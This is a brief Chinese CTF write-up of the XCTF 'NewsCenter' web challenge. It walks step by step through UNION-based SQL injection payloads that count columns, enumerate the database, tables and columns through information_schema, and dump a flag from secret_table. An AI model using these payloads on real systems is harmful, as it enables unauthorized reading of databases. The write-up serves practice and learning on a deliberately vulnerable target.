攻防世界 web进阶 NewsCenter

看到这道题没什么头绪,扫完之后没有什么有用的信息
攻防世界 web进阶 NewsCenter_第1张图片
只有一个输入,试试sql
首先判断列,1’ order by 3# 有3列
攻防世界 web进阶 NewsCenter_第2张图片
首先去爆库
1’ union select 1,2,database()#
攻防世界 web进阶 NewsCenter_第3张图片
库是news,继续爆表
1’ union select 1,2,table_name from information_schema.tables where table_schema=‘news’#攻防世界 web进阶 NewsCenter_第4张图片
看到一个secret_table,爆他的列
1’ union select 1,2,column_name from information_schema.columns
where table_name=‘secret_table’#
攻防世界 web进阶 NewsCenter_第5张图片
执行查询语句
1’ union select 1,id,fl4g from secret_table#

攻防世界 web进阶 NewsCenter_第6张图片

你可能感兴趣的:(攻防世界)